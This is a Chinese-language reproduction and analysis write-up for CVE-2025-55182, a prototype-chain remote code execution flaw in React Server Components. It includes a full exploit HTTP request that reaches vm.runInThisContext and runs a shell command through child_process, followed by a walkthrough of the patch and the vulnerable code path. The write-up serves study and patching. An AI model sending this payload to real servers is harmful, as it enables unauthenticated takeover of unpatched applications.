React 服务器组件原型链漏洞(CVE-2025-55182)
漏洞描述在React Server Components版本19.0.0、19.1.0、19.1.1和19.20中存在一个预认证远程代码执行漏洞,包括以下包:react-server-dom-parcel、react-server-dom-turbopack和react-serverdom-webpack。漏洞代码不安全地从HTTP请求到Server Function端点的负载中反序列化环境搭建h
漏洞描述
在React Server Components版本19.0.0、19.1.0、19.1.1和19.20中存在一个预认证远程代码执行漏洞,包括以下包:react-server-dom-parcel、react-server-dom-turbopack和react-serverdom-webpack。漏洞代码不安全地从HTTP请求到Server Function端点的负载中反序列化

环境搭建
https://github.com/ejpir/CVE-2025-55182-poc/
npm install
npm start访问127.0.0.1:3002

漏洞复现
POST /formaction HTTP/1.1
Host: localhost:3002
Content-Type: multipart/form-data; boundary=----Boundary
Content-Length: 297
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"dir\").toString()"]}
------Boundary--
漏洞分析
查看补丁

可以发现
return moduleExports[metadata[2]];修改为了
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
return moduleExports[metadata[NAME]];
}
return (undefined: any);
}代码修复里面添加了hasOwnProperty 检查,只允许访问对象自身的属性
而在漏洞版本,攻击者可以控制 metadata[2],可读取任意属性(包括原型链上的),如:
- __proto__.toString
- constructor.prototype
- 甚至获取危险方法(如 vm.runInThisContext)
再来看看下载的源码
if (req.method === 'POST' && req.url === '/formaction') {
const chunks = [];
req.on('data', chunk => chunks.push(chunk));
req.on('end', async () => {
try {
const buffer = Buffer.concat(chunks);
const contentType = req.headers['content-type'] || '';
const boundaryMatch = contentType.match(/boundary=(.+)/);
if (!boundaryMatch) throw new Error('No boundary');
const formData = parseMultipart(buffer, boundaryMatch[1]);
console.log('FormData:');
formData.forEach((v, k) => console.log(` ${k}: ${v}`));
// THE VULNERABLE CALL - decodeAction → loadServerReference → requireModule
// requireModule does: moduleExports[metadata[2]] without hasOwnProperty check!
const actionFn = await decodeAction(formData, serverManifest);
console.log('Action result:', actionFn, typeof actionFn);
if (typeof actionFn === 'function') {
const result = actionFn();
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ success: true, result: String(result) }));
} else {
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ success: true, action: String(actionFn) }));
}
} catch (e) {
console.error('Error:', e.message, e.stack);
res.writeHead(500, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ error: e.message }));
}
});
return;
}
res.writeHead(404);
res.end('Not found');
});先读取请求体
const chunks = [];
req.on('data', chunk => chunks.push(chunk));
req.on('end', () => { const buffer = Buffer.concat(chunks); });从 Content-Type 头提取分隔符
const contentType = req.headers['content-type'];
const boundary = contentType.match(/boundary=(.+)/)[1];解析 Multipart 表单,使用 parseMultipart(buffer, boundary) 得到
formData = new Map([
['$ACTION_REF_0', ''],
['$ACTION_0:0', '{"id":"vm#runInThisContext","bound":["..."]}']
]);调用 decodeAction, 这是 React 提供的核心函数,用于将客户端 Action 描述转换为可执行函数
const actionFn = await decodeAction(formData, serverManifest);
读取 $ACTION_0:0 的值,拆分 id 字段:moduleName = "vm"exportName = "runInThisContext"查询 serverManifest:加载模块: 调用内部函数 loadServerReference("vm", "runInThisContext")
const manifestEntry = serverManifest["vm"];调用 requireModule,moduleExports["runInThisContext"] 返回真实的 vm.runInThisContext 函数,此时已获得一个可在当前上下文执行任意 JS 的函数
function requireModule(metadata) {
const moduleId = metadata[0]; // "vm"
const moduleExports = __webpack_require__(moduleId); // ← 加载 vm 模块
const exportName = metadata[2]; // "runInThisContext"
return moduleExports[exportName]; // 直接返回
}最后执行global.process.mainModule.require(\"child_process\").execSync(\"dir\").toString()命令
